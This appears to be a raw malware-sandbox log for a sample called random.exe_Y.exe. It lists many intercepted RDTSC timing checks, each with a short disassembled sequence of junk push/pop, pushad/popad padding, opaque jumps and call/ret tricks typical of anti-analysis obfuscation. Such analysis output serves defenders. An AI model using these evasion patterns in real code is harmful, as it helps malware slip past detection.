Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B6173 second address: 2B61C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F3458756CABh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F3458756CA8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 pushad 0x00000029 mov dword ptr [ebp+122D1DADh], edx 0x0000002f adc edx, 27120146h 0x00000035 popad 0x00000036 push esi 0x00000037 add edx, 1E02864Eh 0x0000003d pop ecx 0x0000003e nop 0x0000003f pushad 0x00000040 push edi 0x00000041 push ebx 0x00000042 pop ebx 0x00000043 pop edi 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B61C8 second address: 2B61D6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B61D6 second address: 2B61DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B61DA second address: 2B61E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B633F second address: 2B635D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B6A92 second address: 2B6A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B6A96 second address: 2B6A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B6A9C second address: 2B6AA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B6B58 second address: 2B6BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F3458756CA8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 sub dword ptr [ebp+122D2320h], ebx 0x00000029 lea eax, dword ptr [ebp+1247A6F9h] 0x0000002f or ch, 00000070h 0x00000032 push eax 0x00000033 jmp 00007F3458756CB6h 0x00000038 mov dword ptr [esp], eax 0x0000003b add edi, dword ptr [ebp+122D2B8Ch] 0x00000041 lea eax, dword ptr [ebp+1247A6B5h] 0x00000047 push 00000000h 0x00000049 push edx 0x0000004a call 00007F3458756CA8h 0x0000004f pop edx 0x00000050 mov dword ptr [esp+04h], edx 0x00000054 add dword ptr [esp+04h], 0000001Dh 0x0000005c inc edx 0x0000005d push edx 0x0000005e ret 0x0000005f pop edx 0x00000060 ret 0x00000061 push eax 0x00000062 pushad 0x00000063 pushad 0x00000064 jmp 00007F3458756CB0h 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B6BEC second address: 2A06C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F3458CA514Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F3458CA5148h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 mov cx, ax 0x0000002c sbb dl, 0000000Ch 0x0000002f mov ecx, dword ptr [ebp+122D2CF8h] 0x00000035 call dword ptr [ebp+122D28BEh] 0x0000003b pushad 0x0000003c pushad 0x0000003d pushad 0x0000003e popad 0x0000003f jmp 00007F3458CA5157h 0x00000044 jmp 00007F3458CA5150h 0x00000049 popad 0x0000004a push ecx 0x0000004b jno 00007F3458CA5146h 0x00000051 pop ecx 0x00000052 jnc 00007F3458CA5151h 0x00000058 jmp 00007F3458CA514Bh 0x0000005d push ebx 0x0000005e push ebx 0x0000005f pop ebx 0x00000060 pop ebx 0x00000061 popad 0x00000062 push eax 0x00000063 push edx 0x00000064 jnp 00007F3458CA514Ch 0x0000006a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F13AF second address: 2F13BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F3458756CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F14FC second address: 2F1513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458CA5151h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F1513 second address: 2F1517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F1517 second address: 2F155C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3458CA5146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3458CA5156h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jl 00007F3458CA5169h 0x00000017 jno 00007F3458CA514Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F3458CA514Bh 0x00000024 push esi 0x00000025 pop esi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F16D9 second address: 2F16E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F16E2 second address: 2F16F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F16F2 second address: 2F16FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F3458756CA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F16FE second address: 2F1702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F1991 second address: 2F199B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F3458756CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F199B second address: 2F199F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F199F second address: 2F19A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F1AE7 second address: 2F1AF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F1AF7 second address: 2F1AFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F676E second address: 2F6773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F68BE second address: 2F68C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F68C3 second address: 2F68C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F68C9 second address: 2F68D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3458756CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F6D22 second address: 2F6D3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5153h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F6D3E second address: 2F6D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F6E93 second address: 2F6E97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2F73A7 second address: 2F73AD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2FA4D8 second address: 2FA4DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2FD803 second address: 2FD80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3015EE second address: 3015F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3015F4 second address: 3015FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3011DB second address: 3011E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 308DD7 second address: 308DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3458756CA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 30D3C3 second address: 30D3CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B668C second address: 2B6690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B6690 second address: 2B6695 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 30D906 second address: 30D913 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3458756CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 30D913 second address: 30D91F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 30D91F second address: 30D93C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jg 00007F3458756CAEh 0x0000000d jbe 00007F3458756CB2h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 30D93C second address: 30D942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 30DACF second address: 30DAFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CACh 0x00000007 jmp 00007F3458756CADh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop edx 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 jo 00007F3458756CC3h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 30E498 second address: 30E4CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3458CA514Eh 0x0000000a popad 0x0000000b jmp 00007F3458CA5159h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 30E4CD second address: 30E4D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 30E4D1 second address: 30E4E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3458CA514Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 30E4E3 second address: 30E501 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB4h 0x00000007 jg 00007F3458756CACh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3132CF second address: 313310 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F3458CA5155h 0x00000010 je 00007F3458CA5146h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c pushad 0x0000001d jp 00007F3458CA5146h 0x00000023 jnc 00007F3458CA5146h 0x00000029 jng 00007F3458CA5146h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 313310 second address: 31331D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F3458756CA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31331D second address: 313321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 313321 second address: 313327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 313327 second address: 313331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 276400 second address: 276417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3458756CB3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 276417 second address: 276421 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3458CA5146h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 312603 second address: 312627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3458756CB3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3127A6 second address: 3127B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007F3458CA5146h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3127B6 second address: 3127C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F3458756CA6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3127C8 second address: 3127CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3127CC second address: 3127D6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3458756CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3127D6 second address: 3127DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 312E64 second address: 312E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 312E68 second address: 312E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 312E6C second address: 312E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31A6BA second address: 31A720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F3458CA5157h 0x0000000d js 00007F3458CA5146h 0x00000013 jno 00007F3458CA5146h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b popad 0x0000001c jp 00007F3458CA5152h 0x00000022 jbe 00007F3458CA5155h 0x00000028 push esi 0x00000029 pop esi 0x0000002a jmp 00007F3458CA514Dh 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jnl 00007F3458CA5146h 0x0000003a jbe 00007F3458CA5146h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31A720 second address: 31A737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31A737 second address: 31A747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F3458CA514Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31A747 second address: 31A74E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3188EE second address: 3188FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 318FDA second address: 318FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 318FDF second address: 318FE4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 3195A4 second address: 3195EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3458756CADh 0x00000009 pop esi 0x0000000a push edx 0x0000000b jmp 00007F3458756CB8h 0x00000010 jmp 00007F3458756CB6h 0x00000015 pop edx 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 319E7B second address: 319EC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5151h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F3458CA5152h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3458CA514Ch 0x00000016 pushad 0x00000017 jmp 00007F3458CA5152h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 319EC6 second address: 319ED0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3458756CACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31E456 second address: 31E468 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31E5AF second address: 31E5CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F3458756CB2h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31E5CA second address: 31E5D4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3458CA5146h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31E5D4 second address: 31E5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31E5DF second address: 31E5F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 jo 00007F3458CA5148h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31E752 second address: 31E756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31E756 second address: 31E75C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31EC9C second address: 31ECB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 31ECB2 second address: 31ECB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32CFFC second address: 32D009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jne 00007F3458756CA6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32D419 second address: 32D41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32D41F second address: 32D425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 32D5AE second address: 32D5B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
